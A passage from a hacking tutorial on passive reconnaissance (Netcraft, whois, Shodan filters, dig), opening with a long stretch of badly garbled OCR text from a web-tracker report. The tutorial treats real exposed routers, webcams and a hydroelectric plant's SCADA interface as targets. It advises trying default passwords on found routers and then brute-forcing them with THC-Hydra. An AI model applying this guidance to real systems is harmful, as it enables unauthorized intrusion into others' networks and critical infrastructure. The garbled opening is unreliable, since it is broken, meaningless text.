Web Traders are Diof-perfures from Texes traders are primely No known traders were tilder Bis Site Technology Server-Side Indudes all the main technology Text # Perf #	uutes haded onto a netpaga, Trastalin ne used for advecting ur analytics progress. Initial a that Initian'i defects as surving on the serv Beacrightee Initia supprets and/or nor Net is supprets and/or nor Net is supprets and/or nor Net is supprets and/or nor	eurosa indude social aharing n ner such as Prif. ning purpose, independed, dynamice	styrts, javasnýct fiza, and images. Trave t programniky terpesya	adam an be used to montor individual us Popular alters using this were wired arm , were add standard up, freebook as	er behaviour earses the web. Felched on 150: Fe technology cesh.com , nww.ergedgel.com	Deta derived Rovery 2015	
Hit Traine wit Briefer from Train beakers are private His known frachers were iden Bis Site Technology Server-3ide briefer at 18 mein technology Technology Feet Ø Site, Ø	nutes haded onto a netpaga. Testado na cast for advecting or anticipa puppers. Initial. a that federal's details as surving on the son the support of advecting puppers the support of advecting puppers A systematic publication puppers	eurose indude excisi sharing n er such es Prof. ring purpress, integratied, dynamic, ring communication security r	ilgels, jevennyt fins, end images. These b geogramming language uner the Johanat	esteen can be used to monitor individual up Popular alters using this were used one, uses of schedulery, fresteens are were garging al. were garg	er behaviour earses the web. Felched on 15th Fe becknology earth.com , news.ergedget.com n , hed yehee.com (e color , news.google.ch	Dela derived	
Web Tradien we Thelparty ne from Trais Instains are privately No known Trackners were iden III Site Technology Server-Side Deutsen at Um ean technology Technology Part () SSL () Clared Side Deutses at Die man technology	loven halfed onto a netgaga. Transitio na net a attenting or analytes proyees. Milled Beaching Professional and the second of the soci Professional and the society of the soci Professional and the society of the soci Professional and the society of the soci Anylogical professional and the society of the Society of the Society of the Society of the Society of the Society of the Society of the Society of the Society of the Society of the Society of the Society of the S	eurose indude excisi sharing n er such es Prof. ring puperes, indegretad, dynamic, ring communication security i cand Adobe Flash).	olphis, jewannyt fres, and images. Tream to programming language out the Determent	nation can be used to monitor individual up Peopular alters using this wave used arm, uses and shahidutary, features are mon grapping at uses are	er behaviour across the web. Felched on 15th Fe technology ash con , www.angelget.co pe co.in , www.google.ch	Deta derival	
Initial Totaliana an Entrologia (n. 1997) from these taxons are prinned in the branch trackara were side in Stite Technology Server-Side Debutes at the main technologia Technology Technology Technology Class-Side Debutes at the main technologia Debutes at the main technologia	uvers haded onto a webpage. Testation we used to activities or analytics program. Initial a that helpest default as surving on the sen- tion of the sentence of the sentence of the sen- ted as high-help default and for an Paris a high-help product pro- to the single-paris protocol pro- tocol as high-help product pro- tocol as high-help protocol pro- tocol protocol pro-	eurose indude social altaing n er such as Pr0, ring pusses, integrated, dynamic ding communication security o Land Adole Planh).	olgels, javasoryt fiss, and images. These t angenericity, language over the Distance!	where can be used to monitor individual use People railing where where where the neutral care, and care, where the second care, because any one second care, because any where the relative second biblio	er behaviour across the vect. Fetched on 150h Fe bechnology and com , www.angelight.co , field yahas som pe color, www.google.ch	Deta derived	
Into Trates an Ethological Con- ternet Trans States and Ethological Bio Backan Strategical Con- States and States and States Distances and States and States Distances and States and States States State Distances and States and States States State Distances and States and States States State	Novel balade and a velope, Tapitation we baladeding or warding potential billing. Baladeding or warding potential billing. Baladeding and the second potential billing of the second potential billing of the second potential billing of the second billing of the second potential billing of the second potential billing of the second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the Second potential billing of the second potential billing of the second potential billing of the Second potential billing of the second potential billing of the second potential billing of the Second potential billing of the second potential billing o	eurose indude social atlantig o or such as Prof. ring pageses, lideposited, dynamic, riding communication security o Land Addoe Filen). request commonic inglements	tigets, javasseyt fins, and images. Trave t programming language new The Distance	Index set for marker individual and Projular value unless field watch of any , foreface, and and all a constraints are pro- sent project and any set of the Projular value watch and the	er behaviour ausset the web. Petched on 150-Fe technology and com, www.apstylet.com n.; het yetex.com, pit color,	Deta derived	
No Transa de Diol Jadro de Jaros form Dans Halans de Jadro de Jaros Halans de La Selectra de La Selectra de Jadro de Jaros Halans de La Selectra de Jadro de Jadro de Jadro de Jadro de Jaros Parte de Jadro de Ja	under bale for a sollingen "fruitelite me sollt for eltandinge or sollingen transmission altitude. 20 di tellest Bahela es society as the same Ref as appelde altitumes Ref as appelde altitumes A systepartia protein pro- ner a a tappelde altitumes A systepartia protein pro- ent a statistical generation A systepartia protein pro- de to some for some system Gene source aproprinting The designment	nuurees helude assert intering o en nuch as Indi. nog gyneen, integrated, fyrannin olong sommunication soundy o t and Adole Flant). mgaaga community implemented	tigets, jonatoryt fran, and images. Trans t anyganoming language and the Delawat the gent of a web Sciences	where set is and its montar relativation Propose when using this work original constraints, so that work of any arrow of souther any setting the sources are some proping it, we are some proping it, we are	er behender ansete Die web. Peterheit en 15te Pe technology and con, www.angespiel de peterheitige peterheitige beschnology don, www.angespiel de technology don, www.angespiel.com	Data derived Novary 2005	
No field and a set of the set of	unant table of a solitoge Transform of the Natherland ge of anythic process. Alted. Alted. Recognism Period anythic process of the soliton Nation of the Soliton of the Soliton of the Soliton National Soliton of the Soliton of the Soliton of the Soliton National Soliton of the Solito	nuvers helpe social alterna o en such as their, ning purpose, integraties, dynamic purpose, integraties attacks (a data franc), nipage community implements a give memory implements a pice determine.	tigets, jonatoryt fran, and inagan. Trans S programming language met the followed of an gart of a web lonearer	Indexes to caref for methor solution of Pageuter when using this wave strend date , more all and and may , building and solution of the pageuter when using the source appropriate source appropriate mean appropriate source mean appropriate so	er behaviour ansen the web. Antohed on 130: Fe technology and con , www.sepalpit.co. (a con , www.sepalpit.co. (a con , www.sepalpit.co. (a con , www.sepalpit.co. (a con , www.sepalpit.co.) (a con , www.sepalpit.co.) (a con to featurate the team	Deta derived Nov ary 2015	
In these an Unit party of the theory of the the theory of the theory of the theory of	under belacht offen an enforgen. Transform eine eine fin aktivitätige einerskelle prosent. Miller, Der Inderseft Gefacht an sunning am film ann Berlin Bestergeben. Perlin Bestergeben. Perlin Bestergeben. An gefacht einer Bestergeben. Sont an die Verster (such as Zuschlerge Open mengehenistig Open mengehenistig Open mengehenistig Open mengehenistig Open mengehenistig Der Bestergeben. Der Bestergebet. Der Bes	nu-nas induite activit diaring o mr nuch as Rolf. mr puperas, interplated, guranis, interplated guranistic manufer of addeb Pland). mgaaga cummoriv implemente as guran mgadaara cilii sumat bita shuraya.	tigetis, jonannet fina, and inagas. Trava t anyganoticy betways and the Science. If an gat of a with Drowser	where we be used for minitar individual or important solution solving HML sector and dama, second dama wanded any, forestered an exception of the solution of the many people and solving HML many people and solving HML	er behaviour annes titte web. Petched en 150 fe bechneligg na die na , wee apgelijk die n die nan , wee apgelijk die n die nan gewei apgelijk die bechneligg and is verste geweit die bechnelige is oder to fastiliste the lawer bechnelige	Deta derived Novany 2001	
with Assess as the bary of mark the bare bare to be a set of the set of the bare bare as the bare bare of the set of the bare bare of the bare of the bare of the set of the bare of the bare of the bare bare of the set of the bare of the bare bare of the bare of the bare of the bare bare of the bare of the bare of the bare bare of the bare of the bare of the bare bare of the bare of the bare of the bare bare of the bare of the bare of the bare bare of the bare of the bare of the bare bare of the bare of the bare of the bare of the bare bare of the bare of the bare of the bare of the bare bare of the bare of the bare of the bare of the bare of the bare bare of the bare of	A set of a solution of a set of any set of a	nu-nes helpele anciel d'anny o en surt as thirt, n'ny myses, interaction, puranti myses, interaction, puranti card Adrice Plant), e giore numerity implement a giore numerity implement a para termenty.	tigato, preserved fina, and images. These b programming impage more the Delawed and an gate of a web former tog else such as a 10 gattern, sequence of	where we be used to member relativated or Property where using this wave or and care, so we also wave approximately a second pro- essing apply the second pro- ses approximately and apply and the second pro- ses approximately apply and the second pro- ses apply apply and the second pro- perty apply and the second pro- perty apply and the second pro- perty apply apply and the second pro- perty apply apply and the second pro- perty apply ap	er Eshaviour assess the web. Petersed on 1500 Fe technology and com, unevary , technology and com, any any anglight co and com, any anglight co and com, any anglight co technology technology to ober to frailing the taxes technology	Deta derived Rinuary 2005	
with there are the logical and	unces table of the solutions - industry. The states of the solutions of the solutions of the solutions of the solutions of the solution - industry - indus	nyves hybrid asset dating o en nybrid as 840, ning gyness, hitspetidat, fyrsenik, oling somewination astudy o card Addes Pare). Card Addes Pare). Card Addes Pare). Set discusses S 84	spect, parently finds, and integrat, fitness programming language are the binness of the planess of a part of a set of partness of the part of a set of partness of	Here on the send to motifier includes a set of payment the sendent to the sendent to the motion of a set of the sendent to the motion of a set of the sendent to the motion of a set of the sendent to the motion of the sendent to the sendent to the sendent to the motion of the sendent to the sendent to the sendent to the motion of the sendent to the sendent to the sendent to the motion of the sendent to the sendent to the sendent to the motion of the sendent to the sendent to the sendent to the sendent to the motion of the sendent to the senden	er behanister ansette Die web- Petitikel ein 1500 Fe beschneisige n. derbyseken som n. derbyseken som n. derbyseken som der die verschlichen die beschenzeige mit einer die Ferner Land der die verschlichen die som die is fraufliche Die Gener beschenzeige techneisige	Deta derived dru ary 2015	
All there are the organized pairs of the the thermal and the organized and the thermal and thermal and the thermal and the	when have a realizery. There are a realized as a series a realizer and the second seco	nuvers rejude social discription en such as 2007. Inco pageses, integrated, formeric ularg communities society of Lood Adder Park). Incopage communities society of a given repetiere of social a given repetiere of social a given repetiere of social a given repetiere of social social	inputs present from and integra from the input present program in and the performance of the performance of the performance of the performance of and the behavior of the performance of performance of performa	Inters on to can be call for motion and out on the call of motion and the call of motion and the call of the call	ar laberiou asyst the web. Petered on 1300 Pe International and they are repetighed to a characterized and a set of the International Sector Sector Sector International Sector Sector International Sector Sector Sector International Sector Sector Sector Sector International Sector Sector Sector Sector International Sector Sector Sector Sector International Sector Sector Sector Sector Sector International Sector Sector Sector Sector Sector International Sector Sector Sector Sector Sector Sector Sector International Sector Sector Sector Sector Sector Sector Sector Sector Sector International Sector Se	Deta derived dru ary 2015	
All there are the organized and the organized an	under hand og en verkelige verselen avselde av sendere en er beskelen er en verkele av sendere en verkelen er en verkele av sendere en verkelen er en verkelen er en verkele en verkelen er en ve	nuverse industry and all second all second and second are worth and shorth . The groupses, interpretently, dynamics, and groupses, physical second and second and second second second and second and second se	اليامة إلى المحافظ الحد عام الحريمي المحد المحافظ المحافظ المح المحافظ المحافظ المحاف	Pagene and to work in work out and the work of the same to the sam	er Sekeriske anset fok weite Antoned om 1300 for Sekhonology and som , www.agregolistice (antone), and agregolistice (antone), and agregolistice (antone), and agregolistice (antone), antone (antone), antone (an	Deta derived	

Very often, we can gather even more information about smaller websites and web servers from Netcraft (some sites, though, are too small to be tracked by Netcraft). Let's see what information they have about www.skullsecurity.com, a website dedicated to IT security and widely used as a source of password lists.

<b>HETCRAFT</b>		attantic.net 55D	CLOUD VPS S 4.	97 97				
		Site report fo	r skullsecurity.com					
Search	Looker contraction				Sh		00	
	Enter a URL here						GigeNET	
Home	Background						Datacenter Washington,	
Download Now!     Report a Phish	Site title	404 Not Found	Date first seen	February 2007				
Site Report	Site rank		Primary language	English				
Top Reporters	Description	Not Present					Order O	
Incentives for reporters Ethiobiant TJ Da	Keywords	Not Present					Month	
Phishiest Countries Phishiest Hosters	Network						Services	
Phishing Map	Sta	http://als.literusity.com	Nathlock Owner	Vol Networks 1	~		2nd Mon	
Takedown Map Most Docular Wahaites	Domain	skyliseurity com	Nameserver	os19 domaino	natrol com		EDE	
Branded Extensions	IP address	206.220.196.59	DNS admin	des Biomax.ce			FRE	
Tell a Friend	IDuti address	Not Freesent	Beverse DNS	test skullserie	ba ora			
ishing & Fraud	Domain registrar	unknown	Nameserver organisation	whois.wildwest	domains.com		Buy Today!	
Phishing Site Feed	Organisation	unknown	Hosting company	voinetworks.ne	et.			
Hosting Phishing Alerts SSL CA Phishing Alerts	Top Level Domain	Commercial entities (.com)	DNS Security Extensions	unknown			-	
Registry Phishing Alerts	Hosting country	EE CA						
Bank Fraud Detection Phishing Site	B Hosting History							
Countermeasures	Netblock owner		IP address	05	Web server	Last seen	Extract.	
teories Support	Voi Networks Inc. 67	The Promenade Winnises MB CA 838-3H9	206.220.19	6.59 Lin	or pains	1-Mar-2015	Cigaliti T com	
FAQ Glossey	Security							
Contact Us Report a Bug	Netcraft Risk Rating [FAQ]	0/10						
torials	On Spamhaus Block List	No	On Exploits Block List	No				
Installing the Extension Using the Extension	On Policy Block List	No	On Domain Block List	No				
Getting the Most Reporting a Phish	Sender Policy Framework							
bout Netcraft	A host's Sender Polic	y Framework (SPF) describes who can send mail or	n its behalf. This is done by pub	lishing an SPF n	ecord containing a s	eries of rules. Eac	h rule	
Netoralt Home About Netoralt	Warning: It appears	that this host does not have an SPF record. Setting	g up an SPF record helps prever	nt the delivery of	forged emails from	n your domain.		
Website Terms of Use Phishing Site Feed	DMARC							
Security Services Contect Us	DMARC (Domain-bas their domain should I	ed Message Authentication, Reporting and Confor be authenticated. It builds on SPF and DKIN, prov	mance) is a mechanism for dom iding a method to set policy and	nain owners to in d to give reportin	dicate how mail pur og of failures. For m	porting to originat ore information pl	te from lease	
	see dmarc.org.							

Interestingly, under "Site Title" for skullsecurity.com, Netcraft has listed "404 Not Found." A web site owner can put in any title these please. This web site owner obviously has a sense of humor. Under hosting history, Netcraft has the IP address along with the OS (Linux) and the web server (nginx). All this can be beneficial information in developing an exploitation strategy!

#### Whois

Whenever anyone registers a domain, they are required to provide some necessary information about themselves and their company. This information can include the nameserver, registrar, contact name, address, phone number, and email address. All of this information may be useful to the attacker.

This information is maintained by the registrar and a central registry is maintained by InterNIC. We can query (port 43) these databases for this basic information by using the whois command built into nearly every Linux/UNIX system. Let's query facebook.com from our Kali system.

kali> whois facebook.com



As you can see in the screenshot above, our Kali Linux automatically queries the whois entries and returns information on the domain, such as name, address, city, state, zip code, and phone number. Domain owners are also required to provide information on the technical and administrative contacts to the registrar, but most large companies now provide generic names like Facebook provided here. That's not always the case with smaller companies.

When we run a similar whois query for skullsecurity.com, we get the owner's name, address, phone, and email address.



If we are using a Windows system, we can use one of several online whois lookups. We can find one such tool at www.networksolutions.com, but others are available, such as:

- http://whois.domaintools.com
- http://ripe.net
- http://whois.sc

When we use a browser from Windows to run a whois query from www.networksolutions.com on skullsecurity.com, we get the following information.



Note that the information is almost identical to the information we received from the Linux whois lookup, but formatted slightly differently.

#### Shodan

All of us have used (in most cases, several times per day) Google, Bing, or Yahoo to search for relevant material on the Internet. Earlier in this chapter, we learned some basics of using Google hacking to find information that might not be readily visible in Google's enormous database of web material. In this section, I'll introduce you to another web search engine, Shodan. Shodan is often referred to as the "world's most dangerous search engine" because of the data it indexes and reveals.

Shodan is a different type of search engine. Instead of crawling all the world's web pages and indexing the information on those pages for search, Shodan crawls the Internet and pulls the banners on web servers, then indexes the information found in those banners. If you are unfamiliar with pulling web banners, check out the banner-grabbing script in Chapter 16.

Now that nearly every new device has a web interface—from webcams to refrigerators to security systems—each of these devices also have a tiny web server embedded, as well. These web interfaces are often enabled to allow remote administration, such as in a Cisco router or a home security system. These web interfaces mean that we can connect to those web servers and pull their banners to find out information about the device and its web server. Fortunately, we don't have to do that as Shodan has done this for us and nicely indexed all that information.

#### Shodan HQ

John Matherly developed Shodan in 2009. Shodan collects and indexes information from the banners collected from all over the world on web interfaces on ports 80 (HTTP), 21 (FTP), 22 (Telnet), 23 (SSH), 161(SNMP) and 5060 (SIP).

Let's navigate to www.shodan.io.When we do so, we should see a screen like the one below.



To use Shodan, we need to register and open an account. Once we have registered, and before we have learned the subtleties of using Shodan effectively, we may want to take a look at some of the popular searches offered to the far right. These are searches others have done that reveal intriguing information and don't require you to learn the Shodan search syntax.

Shodan	Exploits	Scanhub	Maps	Blog	Anniversary Promotion	<u>۱</u>		Settings Logou	t Buy (
名 ѕнор/	AN I					Searc	:h		
Home	Search D	inectory	Data Analytic	e/ Evoorte	Developer Center	Labe	¥		
Popular Se	arches	Recently Adde	d Brows	e Tags	Developer Center	Luor	_		_
Browse All	Searches								
Popular S	Searche	s 🔝						Search the Direct	ory
15 MAR 10	Webca	m Im search I hav	e found yet.				3035		Search
					webcam	surveillar	ice cams	List All Searches	Ву
13 JAN 12	Netcan	n					837	» Popularity	
	Netcam						netcam	» Recently Added	
6 FEB 12	Cams						724	Popular Tags	
	admin ad	min						webcam	60
						cam	webcam	scada	48
13 AUG 10	dreamb	xoo					532	http	41
	dreambo	ĸ						camera	40
							dreambox	router	40
14 JAN 10	default	password					365	ftp	36
	Finds res	ults with "defau	t password" in	the banner; t	he named defaults might we	ork!		test	35
					router	default	password	cam	35
20 JAN 10	netgea	r					258	cisco	30
	user an	nin naee: naeeu	bro					ssh	28

For instance, here we have used the webcam search. When we clicked on it, and it has taken us to a web camera that appears to be an airplane hangar somewhere on the planet.



When we go to the router searches, we can find the interface of a router such as this one. In many cases, using the default username and password gives you access to these routers.

rd Router Status		Router Status Help
gs Account Name Firmware Version	V102.09	You can use the Poular Status page to choose the connect settings and statutos for pour Router. This page stores you the connect settings. It something needs to be changed you's time to change it on the interval page.
ADSL Port MAC Address BrAddress Historick Type IP Solones Hask Gateway IP Address Domain Name Server	PPP0A 255 255 255 255	Account balance in this time account software to provide a new software account of the provided of the software in the software account software the Robert nu software account of the software in the Robert nu software account of the software in the Robert nu software interval in the Robert nu software interval in the Robert nu software interval
LAN Port MAC Address IP Address CRCP IP Subnet Mask	192 158.1 254 On 255 255 255 0	<ul> <li>Internet convection events. The walk the heart at 0.0.0.2</li> <li>Network Type machadras the convections bays is a gifter/BC, divid, saved on the 4/QS, port</li> <li>If Supervise Mass - the spherel mask as sociated with the internet P addrases.</li> <li>Garange P Addrases. The Galaxies associated with the internet P addrases.</li> <li>Domain Enset Source - datapate the databases of the cummet PAL</li> <li>Domain Enset Source - datapate the databases of the cummet PAL</li> </ul>
tings Klodem ADSL Firmware Version Modem Status Down Stream Connection Speed Status	A2pB022c d20e Connected 2374 tops 798 kons	LAR Pert These are the current settings, as set in the LAV IP Setup page. MIC Address - the physical address of the DIGBNOT as seen than the indication. How Control

Maybe even more frightening is that the web interfaces of SCADA (Industrial systems such as oil refining, manufacturing, electrical transmission and others) systems can also be found and accessed via Shodan.



Here we were able to find the web interface to a hydroelectric plant in Genoa, Italy.



#### Shodan's Search Syntax

The popular searches above are all well and good. Interesting, but not very targeted. These popular searches make for helpful demonstrations, but how do we use Shodan to find specific web interfaces?

Remember, Shodan indexes web interface banners. It pulls the banner information and then stores and indexes that information. When we search Shodan, we can look for that information from the banner. Shodan has few keywords that can help us narrow our search to specific interfaces, such as:

- after/before limits our results to banners that have been indexed before or after a specific date
- country filters our results by country using the two-letter country code
- hostname filters the results by domain name
- net filters the results by IP address range using CIDR notation
- geo filters the results by longitude and latitude
- os filters the results by host operating system
- **port** filters the results by port

Let's now use these filters to find some specific web interfaces.

What if we were looking for only Cisco routers? Remember, Shodan indexes the information it pulls from the web interface, so if the interface announces to the world that it is a Cisco device (vigilant security administrators can suppress the banners or even put in a fake banner), Shodan indexes it as such, and we can search for that keyword. For instance, if we put the word Cisco in the search engine, we pull up over three million devices!

> C 🗋 www.sł śan Exploits	hodanhq.o Scanhub	om/search?q=cisco Maps Blog Annivers	ry Promotion	Settings   Logout 💷 🕅
SHODAN 🔤	<b>66</b>		Search	
iome Search Di	rectory	Data Analytics/ Exports Develo	er Center Labs	
Vote	Jata			Results 1 - 10 of about 3192799 for cisco
vices		188 118 43 110		
		Destiny N.V	894-1, 99-C) see-1, 26	
	201,931	Added on 30.04.2014		HackerTarget
	100,755			Property is a brief
5	540,342	Details		NULL N
	322,316	ip-188-118-63-110, reverse, destinube		(Dely OPEN
P	287,248			
				V NOBS
Countries.		212.183.20.196		SCAN YOUR STUFF NOW
Jounnies		Telekom Austria	\$\$#+1,99+C1100-1,25	
d States	969,873	Viena		
lian Federation	157,985	Details		
a	140,492			
	124,511			Hurricane
ico	110,143			CADa
		61 41 76 62		
Organizations		LG DACOM Corporation	HTTP/1.0 401 Unavthorized	
organizationa		Added on 30.04.2014	Date: Sat. 01 May 1993 15:27:04 GMT	Ts your
Communications	257,902	*	Servera cisco-105	13 your
R S.A. OF C.V.	/1,200	Leurs	Connections close	website
Telekom	70,636		Borent-Rangers none	vulnerable
tra Internet	04,576		WM-Suthenticates Basic realmon/seel 15 access"	to backer
paña Dominicana de	46,085			LO nacker
				attacks?
		202 168 237 112		
		BSAC BDMail Network	518-2 a 380 W	Celebrating 3
		Added on 30.04.2014	His 220.2 AND astronything and an and a second	years of
		-	Vien and the second and a second	Shodan
		Details	Tes (sineaa2ha2)staarW1645h-NE	
			Dates Hed. 30 Geo 2014 14:01:04 OFT	1 A reserve to the second s
			Carter Nets, So Par 2014 (MESSION ON	
			Latitude Second	
			DELVELI LINCODIPANEWER/10012-X	SHODAN MUS
			Colds at 011000	SHOBAL
			Svoorted: 100rel.reolaces	and the second se

Because Shodan indexes the IP address of every web interface it pulls, and IP addresses are distributed to geographically specific locations, we can search Shodan by location. If we only wanted to find Cisco devices in India, we could search Shodan with:

Cisco country:IN

hodan Exploits	Scanhub	Napa Blog An	iversary Premotion	Settings   Logout
SHODAN	ico country IN		Search	
Home Search D	rectory	Data Analytics/ Exports D	eveloper Cetter Labs	
+ Add to Directory	💼 Export D	ata		
			Result	s 1 - 10 of about 70673 for cisco country
anvices				
pervices	00.000	Delhi Network Operations	Lines 105 Software, 1041 Software (2004-19909-01, Service 12-4114), READER SOFTWARE (641)	
111	10,401	Added on 30.04.2014	Technical Supports https://www.oison.com/techseport	HackerTarget
SNND	13 0 15	No.08	Engaviets (c) 1966-2005 by Cisco Sustana, Inc.	Deservation in a longert
STATUS	13,910	Defails	Compiled Two 25-Oct-05 17:10 by evaluer	RUEJ ON
Talant	4 36 1			( UPEN SUBSY
resides.	4,401	103.245.197.185 ChiS Datacenters	5584-1, 99-Ci too-1, 25	NOBS
Top Cities		Added on 30.04.2014		Sour rook stort how
New Delhi	8,016	Contraction of the second		
Mumbai	5.327	Centerie		scan your
Chennai	3,503			website
Bangalore	2,855			with
Delhi	1,322	103 3 228 137		with
		Pulse Telesystems Pvt	#TTP-1.0 491 Unawhorized	netsparker
		Added on 20.04.2014	Date: Nov. 19 Roc 1995 21:45712 007	
top Organizations		Control in	Server: 0100-108	
BSNL	10,295	C-Marine -	Convections close	
TATA Communications	10,075		Rocept=Rangest none	
Silly Limited	7,296		MMM-Authesticate: Rusic reals="level_35_access"	Hurricane
EHARTI Aintel	5,221			LABS
Mahanagar Telephone Ni	2,852			
		27.54.182.55		
		Ishar's liebycrk	Lisco 105 Software, IOS-DE Software, Catalyst L3 Switch Software (IST3K_CAM-UNIXESMLUS-H), Version 00.00.015E RELEASE SUFTWARE (Fc1)	
		Apped on 20.04.2014	Technical Supports http://www.clisco.com/techsupport	Celebrating 3
		Details	Depyright (a) 1906-2013 by Cieco Systems, Inc.	years of
		Creating .	Complied Thu 05-Dec	Shodan
		121 241 248 100		
		TATA Communications	117-/2.0 200 GK	14 Mar 1
		Added on 30.04.2014	East SUP-2, 0.4PP and vanish for investment and justices and your year	
		<b></b>	From Californitalitations	SHODAN MUS
		Centains	Ter (stees28x2)+ter0050578-200	SHOBAL

When we do so, Shodan narrows our search down to just 71,147 devices. Still, a pretty unwieldy amount, but more workable than 3 million.

To get more specific, we can filter by port. Let's assume we are looking for Cisco devices in India that are using VOIP. We know that VOIP uses the SIP protocol on port 5060, so we can narrow the search down by typing in the search engine:

Cisco country: IN port 5060

SHODAN 🔤	ur country Bi	pert Siliki	Search		
Nome Search Di	ectory.	Data Asabrics: Experts Dev	viluper Center Labo		
+ Add to Directory	di Export I	bata			
				Results 1 - 10 of about 24091	r cisco country:IN port:5060
Top Cities		121.241.248.100			
thurdual	270		STATE AND		Is your
New Celhi	227	-	That San A was not a second seco		website
Chennai	197	Detechs	The second		website
Cangalore	190		Tel: 1.5 automatica (Tel: 1.6		vulnerable
Delle	1/1		Participant and the set of the se		to hacker
			Second Plant State - 178-15		attacks2
Top Organizations			Plane 40 000308		OCCOCK97
And the second second	178		to the second se		
Second Contraction	100		ALL DESCRIPTION OF ANY		
ATTEL OF LEGISLANS	244		nerses and a former and to only ready to be a second method of the second method in the second method.		
Sile Limited	160		Elization telephone want		Hurricane
Makananan Talankona M	60		Demonstration 176		LABS
			Connert-Taper amplication-rolp		
			v:#		
					HackerTarget
		202,54,246,230			Description for a weight
		TATA Communications	11P-2.8 288 00		CO DECM
			Viai S2P-2.6-00P such and/of occeptize on indiana.ssa.ssa.ssa.ssa.		( ) INNER
		Owtanito	Firene Calaximited y tageneout		NOBS
			Tax (x)aniv/28xd2(y)apo9500250-879		SCAR FOUR STUFF NON
		delhi 202 54 246 256 vust set in	Danas Med. 80 Apr 2014 14:56:40 077		
			Cull-E2+ 50609		Colebrating 3
			Servers Class=13Plateasy/100-13.x		years of
			CDeck 42 071396		Shedan
			Supported: 198/x1_resource-priority_replaces.sdp-anan		
			ALIAN INTER, SPILINE, AVE, CARCEL, ACK, PRACK, UPDATE, MERIPE, SABICAIDE, NOTIFY, 1993, MELETER,		
			Bline-Domins telephone-event		Contraction of the
			Recentry and Londrad		
			Context-Type: application-top		SHODAN Mark

This syntax narrows our search down to just 2435 routers in India with port 5060 open.

Let's refine our search a bit more. As I pointed out earlier, Shodan indexes banner information with IP addresses. What if we wanted to narrow our search to Cisco routers in India with port 5060 open and are on the subnet 125.63.65.0/24? We could search Shodan by typing in the search window:

Cisco country: IN port: 5060 net: 125.63.65.0/24

Hodan Exploits	Scanhub Lourity N	Maps Biog	Aniversary Frondion Search	Settings   Logout 🚥 🕢
Home Search Dire	schery	Data Analytics/Experts	Developer Contor Labs	
+ Add to Directory	Export D	wia		
				Results 1 - 1 of about 1 for cases country:18 port5060 net125.63.65.024
ip Cities lew DelN		125.63.65.114 Citycom Networks Pvt	117-2.4 200 OK	Marker Tarat
op Organizations		Events	Final (sign officing separate Tax (sign officing)stagement Tax (sign of difficult)stagement	
Rycom Networks Pvt	1	mail crystaltravel.co.uk	Deris Sei, 38 aug 2014 lb/06/07 007 Cal-19 0000 Bernere Canad-Historia /00-12.0 Clean d 07/100 Deris d 07/100	NO BS
			Rissa Brits, Drift, Drim, B., ORSL, AG, PHOL (DRT, APRA, SANCHER, RUTH, DW. USER, ASSIRA Rosts Bollowin-Agenta Riss-Conta Rightar-peak Datas-Conta Rightar-peak Datas-Conta Rightar-peak	Hurrisane
			Landers June Application and	
		,	⊭Classificitaettif ⊕ bark	scan your website with netaparker
				Collaborating 3 years of Sheedan
			Plane, Palma ( Januard Janima & Donine <sup>10</sup>	SHODAN MAR

Shodan finds exactly one router that meets those criteria. You can't get more specific than that!

Now, let's open those results.

DAN	Search
2 0000 200	V V
Search Dire	tory Data Analytica/ Exports Developer Center Labs
ofile: 125.63.65.	
Summary	IP: 125.63.65.
	Location: 🔤 New Delhi, India
	Latitude/Longitude: 28.6, 77.2
SIP	SIP/2.0 200 OK
	Via: SIP/2.0/UDP nm/branch=foo:port/received=axx.xxx.xxx
	From: <sipnm@nm>:tag=root</sipnm@nm>
	Te: <siptnm2@am2>;tag=116CDBC4-1061</siptnm2@am2>
	Date: Wed, 30 Apr 2014 13:50:59 GMT
	Call-ID: 50000
	Server: Ciso-SIPGateway/IOS-12.x
	CSeq: 42 OPTIONS
	Allow: INVITE, OPTIONS, BYE, CANCEL, ACK, PRACK, COMET, REFER, SUBSCRIBE, NOTIFY, INFO, UPDATE, REGISTE
	Accept: application/sdp
	Allow-Events: telephone-event
	Content-Length: 170
	Content-Type: application/sdp
	vr0
	or/GacoSystemaSIP-GW-UserApent 7120 2454 IN IP4 125 63 65
	suSIP Call
	mIN IP4 125 63 65
	100
	manufa 0 PTP/AVP 18 0 8 4 2 15 3
	ceIN ID4 125 63 65
	CHER IF ILLOW.

Here we can see we have an interface to a Cisco router in New Delhi, India with port 5060 open at the IP address we specified. If the router is unprotected, we may be able to access it without further trouble by simply clicking through this entry. If it requires authentication, first try the default username and password and only if that fails, try to brute force with a tool like THC-Hydra (for a tutorial on THC-Hydra, go to www.hackers-arise.com/online-password-cracking).

Shodan is one tool in an arsenal of tools that we can use to gather information about potential targets. Shodan enables us to search for the world for vulnerable web interfaces and, with the help of just a few keywords, narrow our search to a specific type and location of web interfaces.

#### **Information Gathering using DNS**

As you know, the Domain Name System, or DNS, is a protocol used by the Internet to translate domain names into IP addresses and vice versa. It stores information on every domain, enabling us to type in a domain name (microsoft.com) to access their website, versus remembering thousands of IP addresses. This database of domain names and URLs can be used to gather information on our target without ever having to touch the target's computers or networks. It can reveal a surprising amount of information that we can then feed back into our attack. By querying the DNS database, we can gather information while appearing to be a typical DNS query and not alerting security devices or admins of our activities (for more on DNS, see <a href="https://www.hackers-arise.com/single-post/2019/05/20/Network-Basics-for-Hackers-Domain-Name-Service-DNS-and-BIND-Theory-Vulnerabilities-and-Implementation">https://www.hackers-arise.com/single-post/2019/05/20/Network-Basics-for-Hackers-Domain-Name-Service-DNS-and-BIND-Theory-Vulnerabilities-and-Implementation</a>)

#### Querying DNS about the target

As most of you know, DNS can be queried directly by using the **nslookup** and **dig** commands. Working from Linux, we can use either; but if we are working from Windows we are limited to **nslookup**. I'm assuming that most of you have used these utilities, so I won't go into great detail here, but I'll instead provide a brief review for those who are new to this subject.

Although we can use both **nslookup** and **dig** from our Kali Linux, the **dig** command is simpler and provides more information and functionality, so I'll focus on it here. Let's assume we are looking for the nameserver of our favorite software company, Microsoft.com. We can use the following command:

```
kali> dig microsoft.com ns
```

where ns indicates, we are looking for the nameserver.

